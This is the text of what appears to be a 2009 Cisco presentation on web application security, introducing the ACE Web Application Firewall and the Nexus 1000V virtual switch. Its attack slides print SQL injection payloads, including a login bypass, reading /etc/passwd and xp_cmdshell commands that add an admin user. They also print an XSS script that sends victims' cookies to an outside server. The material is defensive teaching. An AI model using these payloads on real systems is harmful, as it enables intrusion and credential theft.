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WAN Acceleration
� Data redundancy elimination

� Window scaling

� LZ compression

� Adaptive congestion avoidance

Application Acceleration
� Latency mitigation

� Application data cache

� Meta data cache

� Local services

Application Optimization
� Delta encoding

� FlashForward optimization

� Application security

� Server offload

Application Networking
� Message transformation

� Protocol transformation

� Message-based security

� Application visibility

Application Scalability
� Server load-balancing

� Site selection

� SSL termination and offload

� Video delivery

Network Classification
� Quality of service

� Network-based app recognition

� Queuing, policing, shaping

� Visibility, monitoring, control

Data Center Security – what are we covering 
today?

WAN
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Session agenda

� Web Application Security: background

� Quick HTTP refresher

� High Impact Attacks:

– SQL injection

– Cross-Site Scripting (XSS)

� Solution

– Cisco’s ACE Web Application Firewall

� VMware Security

– Cisco’s Nexus 1000-V 
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Web Application 
Security: Background
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Vulnerability trends: interesting statistics

34%
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The Evolution of Intent
A Shift to Financial Gain

Threats becoming increasingly difficult to detect and mitigate
Applications are the primary targets
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1990 1995 2000 2005 WHAT’S NEXT?

FINANCIAL:
Theft & Damage

NOTORIETY:
Viruses and Malware

VANDALISM:
Basic Intrusions and Viruses

2007
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Applications: the Weak Link to the Crown Jewels

Customer 
Confidentiality

Customer 
Confidentiality

Identity TheftIdentity Theft

Data LeakageData Leakage

Service DisruptionService Disruption

Applications Give Unprecedented Access 

to Critical Business Data

Source: privacyrights.org
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Can you put a price on stolen data?

http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf
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Network firewalls are HTTP-applications blind

Network 
Firewall

Ports 80 & 
443 open

HTTP Traffic
Good & Bad

Web
Client

Web
Server

Application

Application

Database
Server
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2/3rd of Attacks 
Focused Here

Custom Web Applications
Customized Packaged Apps
Internal and 3rd Party Code

Business Logic & Code

Network

Operating
Systems

Database
Servers

Operating
Systems

Application
Servers

Operating
Systems

Web
Servers

Network 
Firewall

IDS
IPS

No 
Sig
nat
ure
s 

or 
Pat
che
s

No magic signatures or patches for your custom PHP script

Focus of today’s attacks
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Expanding the Network Perimeter

� More applications services available via the 
web

Customers, Employees, Business Partners

� Web-enabled appliances 

IP phones, printers, webcams, etc.

� Issues:

Web applications invite potentially malicious 
HTTP requests 

Even “secure” sites using SSL accept HTTP 
requests  without scrutiny 

Web application code has become part of the 
network perimeter, but is often poorly protected 
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Why web application security?

� Web apps provide a great portal to sensitive information

� Internet � relatively anonymous medium – easy to fire and forget

� Tool required to attack most web applications: a web browser!

� Identity theft losses estimated at $45B by US Fed Trade Comm.

� Indirect costs of security breaches are potentially enormous:

• Brand erosion

• Customer attrition

• Regulatory non-compliance fines

– eg. Payment Card Industry Data Security Standard

• Lawsuits
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PCI-DSS 6.5 & 6.6

� Two sections of Payment 
Card Industry Data 
Security Standard focus 
on web application 
security: 6.5 and 6.6

� Section 6.6 mandates you 
install a Web App Firewall 
by end of June 08 to 
protect your applications 
against OWASP Top 10
attacks
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PCI DSS: 6 sections and 12 requirements

Build and Maintain a Secure Network

1. Install and maintain a firewall configuration to protect data 

2. Do not use vendor-supplied defaults for system passwords and other security 
parameters 

Protect Cardholder Data

3. Protect stored cardholder data 

4. Encrypt transmission of cardholder data and sensitive information across open 
public networks 

Maintain a Vulnerability Management Program

5. Use and regularly update anti-virus software 

6. Develop and maintain secure systems and applications 

Section 6.5: develop secure web apps, cover 
prevention of OWASP vulnerabilities

Section 6.6: Ensure all web-facing apps are 
protected against known attacks using 
either of the following methods

• secure coding practices
• installing a Web App FW*

*This becomes a requirement by June 2008
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You said OWASP? 

Source: WhiteHat Security, 2007

OWASP = Open Web App Security Project
http://www.owasp.org
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Vulnerabilities by verticals

Source: WhiteHat Security, 2008

Percentage of web sites with an urgent/critical/high defect
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Why Not Just Fix the Code?

Every 1000 lines of code averages 
15 critical security defects
(US Dept of Defense)

• Developers typically focus on new functionality not bugs

• It is too expensive to fix the security bugs

The average business app has 150,000-
250,000 lines of code
(Software Magazine)

The average security defect takes 75 
minutes to diagnose and 6 hours to fix  
(5-year Pentagon Study)
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HTTP Crash Course
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HTTP – an application-level protocol

� HTTP 1.0—RFC 1945

Informational

Performance and functional limits

� HTTP 1.1—RFC 2616

Draft Standard

Persistent connections, Caching

More stringent requirements

� HTTP always stateless – many tricks to make it behave as session-
oriented (cookies, session IDs)

� Useful links:

http://www.w3.org/Protocols/

http://www.rfc-editor.org/rfcxx00.html
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HTTP—Request Elements

� Three important elements of an HTTP request:

Method

URI 

Headers
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HTTP—Request Methods

� HTTP 1.1— Methods

OPTIONS: Ask server for available methods

GET: Request a resource from server

HEAD: Request resource & view response headers only

POST: Send data to the server

PUT: Send a file to the server

DELETE: Delete a file form the server

TRACE: Allows client to “trace route” via proxies to web server

CONNECT: Used by proxies for tunneling requests to web server

� All methods expect an HTTP response from the server

� In practice, both GET and POST send data to web applications – this is where 
your Network Firewall can help with RFC2616 compliance
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HTTP—GET vs POST

� GET

form data to be encoded (by a browser) into a URL

• POST

form data to appear within the body

• Myth: POST safer than GET because parameters not directly visible

<FORM METHOD="post" ACTION="/cgi-bin/script.pl">

<INPUT TYPE="text" NAME="in" SIZE="20" 

MAXLENGTH="40" VALUE="hello there"> 

<INPUT TYPE="submit" NAME="button" VALUE="Send"> 

</FORM> 

HTTP request for the GET method is simpler: 

GET /cgi-bin/script.pl?in=hello+there&button=Send HTTP/1.0 

POST /cgi-bin/script.pl HTTP/1.0 

Content-type: application/x-www-

form-urlencoded

Content-length: 26 

in=hello+there&button=Send 

POST

GET
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HTTP—Uniform Resource Identifiers

A URI Identifies and Locates a 
Network Resource

"http:" "//" host  [":"port]/[abs_path["?"query]] 

DNS Resolution

Scheme

TCP Port

Path and File Name /

URL Query String



© 2009 Cisco Systems, Inc. All rights reserved. Cisco PublicPresentation_ID 24

HTTP—Query Parameters

� The URL portion after the “?”

http://www.google.com/search?q=cisco

� Passed to the application (and vector to several attacks 
when improperly parsed)

� Content returned dynamically based on query 
parameters. 

� Overall page layout similar while data differs.

� For an example of how query parameter are used see 
google’s API description 

http://www.google.com/apis/reference.html#2_2
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HTTP—Cookies

� Server sends cookie to client

Set-Cookie:NAME=VALUE;expires=DATE;path=PATH; 

domain=DOMAIN_NAME; secure=YES

� Client sends cookie back to server on subsequent visits to domain

GET / HTTP/1.1\r\n

Host: DOMAIN_NAME\r\n

Cookie: NAME=VALUE;

“Cookies are pieces of information 
generated by a Web server and stored in 
the user’s computer, ready for future 
access.”

www.cookiecentral.com

Cookies are not programs, 
and they cannot run like 
programs do. 
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Web Attacks!



© 2009 Cisco Systems, Inc. All rights reserved. Cisco PublicPresentation_ID 27

Typical Web Application Architecture

Web server 
receives Input

App server 
parses Input

DB receives query
created & sent by 

App server
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Ranked #1 in sans.org’s Top 25 coding errors

Ja
n 1

2 

2009
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Attack #1: SQL injection
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Attack #2 – SQL Injection

� SQL stands for Structured Query Language

� Allows applications to access a database 

� SQL can:

execute queries against a database 

retrieve data from a database 

insert new records in a database 

delete records from a database 

update records in a database

� Many applications take user input and blindingly send it 
directly to SQL API!
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Attack #2: SQL injection

Single quote ‘
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Application Error Message Reveals DB structure

mex.expense_number = ‘ ‘ ‘mex.expense_number = ‘ ‘ ‘
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Anatomy of a SQL Injection attack:
Basic SQL Query for Login 

Typical SQL query

SELECT * FROM users 

WHERE login = 'victor'

AND password = '123'

Typical ASP/MS SQL Server login syntax

var sql = "SELECT * FROM users

WHERE login = '" + form_user + 

"' AND password = '" + form_pwd + "'";
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Anatomy of a SQL Injection attack:
SQL Injection – Bypass Login

Attacker Injects the following:

form_user = ' or 1=1 – –

form_pwd = anything

Final query would look like this:

SELECT * FROM users

WHERE username = ' ' or 1=1

– – AND password = 'anything'

� Attacker gains access to the application!

� Several patterns such as ‘)  “> ‘”\ etc. 

SQL comment

always true!
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Variation: OS Command Injection

� Two ways to interact with the OS:

Reading and writing system files from disk

Find passwords and configuration files

Change passwords and configuration

Execute commands by overwriting initialization or 
configuration files

Direct command execution

We can do anything

� Both are restricted by the database's running privileges 
and permissions
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OS Command Injection

� Linux based MySQL

' union select 1, (load_file('/etc/passwd')),1,1,1;

� MS SQL Windows Password Creation

'; exec xp_cmdshell 'net user /add victor Pass123'--

'; exec xp_cmdshell 'net localgroup /add administrators victor' -
-

� Starting Services

'; exec master..xp_servicecontrol 'start','FTP Publishing' --
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SQL/command injection: summary

How serious?
� Result of poor/inexistant input validation

� Extremely easy to carry out: just a browser is sufficient

� Major vector of identity theft, DB denial of service (shutdown the DB) 

Damage potential?

� Very High

Countermeasures
� Sanitize user input

� Don’t display raw database error codes to the client

� Cisco’s Web Application Firewall can prevent patterns from being fed 
as form input (characters such as single quote, double quote, etc)
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Attack #2: XSS / Cross-site Scripting
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Attack #3 – Cross Site Scripting

What is it?
� Improper input validation on the application lets reserved HTML tags in

� Hacker sends forged URL with malicious tags to victim

� Those tags cause Javascript to execute in the victim’s browser

Why does Cross Site Scripting happen?
� A result of poor or no input validation

� Application blindly echoes requests back to browser

Result
� “Virtual hijacking” of the session by stealing cookies 

� Interception of data

� Web site defacement



© 2009 Cisco Systems, Inc. All rights reserved. Cisco PublicPresentation_ID 40

Example: Cisco’s internal search tool

?q=<script>alert(‘hi’)</script>
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XSS: just pop up alert boxes?

� OK great, yet another example of a XSS attack popping 
up a “Hello” box in a browser – big deal …how serious 
is this? Should I really be concerned?



© 2009 Cisco Systems, Inc. All rights reserved. Cisco PublicPresentation_ID 42

“So… what’s the worst thing you can do with 
XSS? Steal every piece of sensitive information 
you’ve ever inputted or will ever input on any 
website you’re authenticated to. Yes, it’s 
potentially that bad..”

Robert “RSnake” Hansen, CEO SecTheory

http://ha.ckers.org

© 2006 Cisco Systems, Inc. All rights reserved. Cisco ConfidentialPresentation_ID 42
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Cross Site Scripting applications

� The second a hacker realizes a query parameter 
accepts HTTP, he can trick your browser into doing 
virtually anything:

-build hidden forms that submit your cookies

-check your browsing history

-scan your subnet for certain hosts

-etc.

- Commonly used in Phishing emails

- Experts estimate 80% of web sites are vulnerable 
(http://www.whitehatsec.com/downloads/WHXSSThreats.pdf)
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XSS in action: Stealing Authentication Credentials

http://bock-bock/cgi-bin/power/?q=<script
src=http://www.employees.org/~pag/XSS/cookie_theft.js></script>

Step 1
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/* AUTHOR: Jeremiah Grossman, Founder and CTO of WhiteHat Security, Inc. */

var off_domain_url = "http://www.employees.org:8099/~pag/bin/";

/* launch steal cookie */

stealCookie(off_domain_url);

/*--- [method: stealCookie] ----------------------------------------------#

# Description: Send a user's cookie to an off-domain URL. 

# -----------------------------------------------------------------------*/ 

function stealCookie(url)

{ 

var newImg = document.createElement("img");

newImg.setAttribute("border", '0');

newImg.setAttribute("width", '0');

newImg.setAttribute("height", '0');

newImg.setAttribute("src", url + 'cookie.cgi?' + document.cookie);

document.location = '/'; 

} // end stealCookie method 

cookie_theft.js javascript on hacker’s server

Step 2
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HTTP trace on the client – notice the off-domain calls!

Step 3
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XSS: what the hacker sees
Step 4
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XSS example: Italian bank, Jan 2008

http://news.netcraft.com/archives/2008/01/08/italian_banks_xss_opportunity_seized_by_fraudsters.html



© 2009 Cisco Systems, Inc. All rights reserved. Cisco PublicPresentation_ID 49

OK, one vulnerable site? That’s it?

XSS VulnerabilitiesXSS Vulnerabilities
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Fixing the code?

Time to patch XSS holesTime to patch XSS holes
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XSS - Summary

� When an application accepts HTML input where it 
shouldn’t (99% of the times, it probably should not)

� There are hundreds of ways to have a browser execute 
remote script 

� Example: <IMG SRC="javascript:alert('XSS')“

� Visit http://ha.ckers.org/xss.html for very creative ideas

� XSS assistant script for GreaseMonkey makes it easier

� Countermeasures: 

filter input or replace output � change < into &lt; > into &gt;

Fix the app, or install Cisco’s Web App Firewall
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Solution?
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Introducing…
The ACE Web Application Firewall (WAF)

Drop-in solution for

PCI Compliance, Virtual App Patching, Data Loss Prevention

� Secure – Deep packet protection of the most common vulnerabilities

� Fast – Processes up to 3,000 TPS and 12,000 concurrent connections

� Drop-in - Does not require recoding applications, deployable in under an hour

� PCI 6.5/6.6 compliance is just a few clicks away

First Customer Ship happened April 2008
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In a nutshell

� Full reverse proxy (DNS points clients to WAF’s IP)

� Drops all suspicious traffic, permits the rest

� Human-assisted learning

Teach the WAF how to deal with false positives

� Heavy focus on ease of use, audit log and forensics

� Built-in PCI profile for out-of-the-box instant protection

� Very powerful and flexible HTTP parser

Full access to rule expression language and variables for power users

Egress search and replace functionality

� High performance: 3000 HTTP TPS, 12K concurrent conns

Session BRKAPP-2014 focuses on the product
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WAF screenshots
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Data Center

WAF Network Deployment  

DMZ
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External Web
Browsers

ACE Web 
Application 
Firewall 
Gateways

HTML

HTML/XML
Internet

ACE WAF 
Manager

Load Balancer 
(e.g. ACE, CSS)

� Typically deployed in the DMZ or WWW Server Farm access

� Cluster of 2 appliances behind Load Balancer for Failover

� Distributed solution:

Manager = GUI

Gateways = Policy Enforcement Points
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It’s more than just PCI!

� Gramm-Leach-Bliley Act (GLBA) Safeguards Rule

Act focuses on Financial Services Modernization

Requires protection of personal non-public information

� Sarbanes-Oxley (SOX) Section 404

Covers Management Assessment of Internal Controls

Requires protection of financial records and data

� Health Insurance Portability and Accountability Act (HIPAA)

Establishes standards on health care transactions

Requires protection of personal non-public information

WAF: it’s much more than just PCI!
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WAF: virtual patching & DLP save $$$

� Virtual Web Application Patching

By deploying application hot patches (permit only this 
value in this web form; deny those bad patterns to this 
app) a large amount of code review / dev / test time is 
saved, and no app downtime is required!

� Data Leakage Prevention

The WAF can perform one for one search and replace 
on content returned from server and hide sensitive info. 
The WAF can also remap error codes returned by web 
apps

Virtual patching: very interesting financially



© 2009 Cisco Systems, Inc. All rights reserved. Cisco PublicPresentation_ID 59

VMWare Security
Cisco’s Nexus 1000-V
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What are we trying to address?

� VM to VM traffic: how 
secure is this?

� Maintain Cisco switches’
look and feel in a 
VMware environment

� Policy-based security

� Ensures visibility and 
continued connectivity 
during VMotion

VMW ESX

Server 1Server 1

VMware vSwitchNexus 1000V

VMW ESX

VMware vSwitchNexus 1000V

Server 2Server 2

Nexus 1000V

VM 
#4

VM 
#3

VM 
#2

VM 
#1

VM 
#8

VM 
#7

VM 
#5

VM 
#5

VM 
#2

VM 
#3

VM 
#4

VM 
#5

VM 
#6

VM 
#7

VM 
#8

VM 
#1
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Nexus 1000V (Swordfish)

� What is it?

a distributed software switch than spans multiple ESX4 hosts

alternative to built-in Hypervisor Distributed vSwitch

� Why?

addresses VM-to-VM communication security concerns

offers Cisco switch look and feel to VMware admins

brings features typically found on hardware switches

PVLANs

ACLs (VACL/RACL)

Netflow

Port Security

shut/no shut of VM interfaces

SPAN (port mirroring)

consistent policies across VMotions



© 2009 Cisco Systems, Inc. All rights reserved. Cisco PublicPresentation_ID 62

Key components

� ESX 4.0 hosts (currently in beta from VMWare)

� Virtual Center 4.0 & VC Client 4.0 (beta)

� VSM (control-plane for Nexus 1000V) (beta)

runs as a 64-bit VM

NX-OS look and feel

� VEMs

one small process per managed ESX host

makes ESX host appear as a module (linecard) in VSM

replaces built-in Hypervisor’s vswitch
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Cisco Nexus 1000V Components

VMW ESX

Server 3

VM 
#9

VM 
#12

VM 
#11

VM 
#10

VEM

VMW ESX

Server 2

VM 
#5

VM 
#8

VM 
#7

VM 
#6

VEM

VMW ESX

Server 1

VM 
#1

VM 
#4

VM 
#3

VM 
#2

VEM

Virtual Ethernet Module(VEM)

� Replaces existing vSwitch

� Enables advanced switching capability 
on the hypervisor

� Provides each VM with dedicated 
“switch ports”

Virtual Supervisor Module(VSM)

� CLI interface into the Nexus 1000V

� Leverages NX-OS 4.01

� Controls multiple VEMs as a single 
network device

Virtual Center

Nexus 1000V

VSM
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Virtual Supervisor Options

VSM       VSM       VSM       

VSMVSMVSM

VSM Virtual Appliance

� ESX Virtual Appliance

� Special dependence on CPVA 
server

� Supports up to 64 VEMs

VMW ESX

Server 3

VM 
#9

VM 
#12

VM 
#11

VM 
#10

VEM

VMW ESX

Server 2

VM 
#5

VM 
#8

VM 
#7

VM 
#6

VEM

VMW ESX

Server 1

VM 
#1

VM 
#4

VM 
#3

VM 
#2

VEM

VSM Physical Appliance

� Cisco branded x86 server

� Runs multiple instances of the 
VSM virtual appliance

� Each VSM managed 
independently
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Virtual Ethernet Module (VEM)

� Light (10MB) ESX4 module

� Single VEM instance per ESX4 host

� Allows ESX4 host to show up as a linecard in VSM

� Just like a real modular switch!

� Receives instructions from VSM

� Stores basic configs locally (system VLANs, Domain ID, etc…) 

� Can run in last known good state without VSM connectivity

� Some features will not work (Vmotion) in this state

� Must have VSM connectivity upon reboot to switch VM traffic
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Distributed Switching

� Each Virtual Ethernet Module behaves like an 
independent switch

• No address learning/synchronization across VEMs

• No concept of Crossbar/Fabric between the VEMs

Virtual Supervisor is NOT in the data path

• No concept of forwarding from an ingress linecard to an egress 
linecard (another server)

• No Etherchannel across VEMs
Nexus 1000V

VSM

VMW ESX

VEM

VMW ESX

VEM

VMW ESX

VEM
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Virtual Supervisor to Virtual Center

� One way API between the VSM and Virtual Center

� Certificate (Cisco self signed  or customer supplied) ensures 
secure communications

� Connection is setup on the Supervisor

dcn-n1k-v# show svs connection

Connection VC:

IP address: 10.48.82.84

Protocol: vmware-vim https

vmware dvs datacenter-name: DCNSwordfish

ConfigStatus: Enabled

OperStatus: Connected

dcn-n1k-v#

Nexus 1000V

VSMVirtual Center
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Supervisor to Ethernet Module

� Two distinct virtual interfaces are used 
to communicate between the VSM and 
VEM

•Control

• Carries low level messages to ensure 
proper configuration of the VEM. 

• Maintains a 2 sec heartbeat what the 
VSM to the VEM (timeout 6 seconds)

•Packet 

•Carries any network packets between the 
VEM and the VSM such as CDP/LLDP

� Must be on two separate VLANs

� Supports both L2 and L3 designs

VMW ESX

VM 
#1

VM 
#4

VM 
#3

VM 
#2

VEM

Nexus 1000V

VSM
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Switching Interface Types

Physical Ethernet Ports on the ESX hosts

NIC cards on each server 

Appears as ‘Eth’ interface on a specific module in NX-OS

Example – ‘Eth10/7’

Static assignment as long as the module ID does not change

Up to 32 per host

� Virtual Ethernet Ports

Virtual Machine facing ports 

Appears as ‘VethXXX’ within NX-OS. 

Not assigned to a specific module to simplify VMotion

Example – ‘Veth68’
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Nexus 1000 V interfaces illustrated

VMW ESX 4.0

Server 1

VM 
#1

VM 
#4

VM 
#3

VM 
#2

VEM

Veth
(can be a trunk, rare)

“uplink” eth3/x
(can be a trunk)

Port-channel
(optional)

uplink
eth3/y

vmnicX vmnicY
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Interfaces: example
dcn-n1k-v# sh int brief

--------------------------------------------------------------------------------

Port   VRF          Status IP Address                           Speed    MTU

--------------------------------------------------------------------------------

mgmt0  -- up     10.48.82.85                             1000  1500

--------------------------------------------------------------------------------

Ethernet      VLAN   Type Mode   Status  Reason                 Speed     Port

Interface                                                       Ch #

--------------------------------------------------------------------------------

Eth3/2        1      eth  trunk  up      none                   a-1000(D) --

Eth4/2        1      eth  trunk  up      none                   a-1000(D) --

Eth5/2        1      eth  trunk  up      none                   a-1000(D) --

--------------------------------------------------------------------------------

Interface     VLAN   Type Mode   Status  Reason                 MTU

--------------------------------------------------------------------------------

Veth1         200    virt access up      none                     1500 

Veth2         27     virt access up      none                     1500 

Veth5         200    virt access up      none                     1500 

Veth6         200    virt access up      none                     1500 

Veth100       220    virt access nonPcpt nonParticipating 1500 

Veth200       27     virt access nonPcpt nonParticipating 1500 

dcn-n1k-v# 
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Concept of Port-Profiles

� Port Profiles: collection of ‘interface’ commands
things such as access or trunk port

VLAN of the access port

VLAN carried on the trunk

security settings, etc.

� Port-profile: assigned to interfaces (Ethernet or VEth)

� Dynamic configuration
Port Profile changes are propagated immediately to all ports using that 
profile

� It’s also possible to configure interfaces directly

eg: shut down an interface to a VM
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Policy definition supports:

� VLAN, PVLAN settings

� ACL, Port Security, ACL 
Redirect

� Cisco TrustSec (SGT)

� NetFlow Collection

� Rate Limiting

� QoS Marking (COS/DSCP) 

� Remote Port Mirror (ERSPAN))

VMW ESX

Server

Nexus 1000V - VEM

VM 
#1

VM 
#4

VM 
#3

VM 
#2

What Can A Profile Contain?

Policy definition supports:

� VLAN, PVLAN settings

� ACL, Port Security, ACL 
Redirect

� Cisco TrustSec (SGT)

� NetFlow Collection

� Rate Limiting

� QoS Marking (COS/DSCP) 

� Remote Port Mirror (ERSPAN))

Nexus 1000V

VSMVirtual Center

veth

eth
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Two types of Port Profiles

� Uplink and non-uplink

Uplink maps to physical NICs. Used to allocate control and packet 
VLANs, or create an Etherchannel between the ESX Hosts and the 
physical switch, or control link between Host and physical switch

� Port profiles are pushed via the Virtual Center API

“state enabled” concept � once enabled, pushed to VC

� Upon connection/reconnection with Virtual Center the VSM re-
verifies the correct port profile configuration exists within Virtual 
Center

� Port-profile maps to a port-group inside VMWare which can then 
be used to assign VMs
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Example: two port-profiles

dcn-n1k-v# sh port-profile

port-profile system-uplink

description: 

status: enabled

capability uplink: yes

system vlans: 666,777

port-group: uplinkportprofile1

config attributes:

switchport mode trunk

switchport trunk allowed vlan 27,200-220,666,777

no shutdown

evaluated config attributes:

switchport mode trunk

switchport trunk allowed vlan 27,200-220,666,777

no shutdown

assigned interfaces:

Ethernet3/2

Ethernet4/2

Ethernet5/2
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From Virtual Center’s perspective

� When assigning a 
virtual adapter to a 
VM, the port-profiles 
created on VSM show 
up
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Mapping port-profiles to interfaces
dcn-n1k-v# sh port-profile brief

--------------------------------------------------------------------------------

Port                                    Profile  Remote Conf  Eval Child Child

Profile                                 State    Mgmt   Items Items Intfs Profs 

--------------------------------------------------------------------------------

system-uplink                           enabled  vmware 3     3     3     0

data200                                 enabled  vmware 3     3     3     0

data201                                 enabled  vmware 3     3     0     0

vlan215                                 enabled  vmware 3     3     1     0

Data27                                  enabled  vmware 3     3     2     0

dcn-n1k-v# sh port-profile usage

--------------------------------------------------------------------------------

Port Profile               Port        Adapter        Owner

--------------------------------------------------------------------------------

system-uplink              Eth3/2      vmnic1         DCN-IBC2-SVR-1.DCN.COM    

Eth4/2      vmnic1         DCN-IBC1-SVR-1.DCN.COM    

Eth5/2      vmnic1         DCN-IBC2-SVR-2.DCN.COM    

data200                    Veth1       Net Adapter 2  Ubuntu_server-8.04        

Veth5       Net Adapter 3  dcn-vm-svr-3              

Veth6       Net Adapter 3  dcn-vm-svr-2              

vlan215                    Veth100                              

Data27                     Veth2       Net Adapter 1  Ubuntu_server-8.04        

Veth200                              

dcn-n1k-v# 

VM we just createdVM we just created
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Port Profile Mobility – Simplified VMotion

VMW ESX

Server 2

Nexus 1000 -—VEM

VMW ESX

Server 1

Nexus 1000V—VEMNexus 1000V 

VM 
#5

VM 
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VM 
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VM 
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VM 
#1

VM 
#4

VM 
#3

VM 
#2

VM 
#1

Nexus 1000V

VSM

VM 
#1

Virtual Center

Virtual Interface 
numbering stays 
consistent after 
VMotion event!

Virtual Interface 
numbering stays 
consistent after 
VMotion event!
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Security feature example: port security
dcn-n1k-v# sh run int v2

interface Vethernet2

switchport port-security

switchport port-security maximum 3

switchport port-security violation protect

description UBUNTU-1_eth0

no shutdown

inherit port-profile Data27

dcn-n1k-v# sh port-s interface v2

Port Security              : Enabled

Port Status                : Secure UP

Violation Mode             : Protect

Aging Time                 : 0

Aging Type                 : Absolute

Maximum MAC Addresses      : 3

Total MAC Addresses        : 0

Configured MAC Addresses   : 0

Sticky MAC Addresses       : 0

Security violation count   : 0

dcn-n1k-v#
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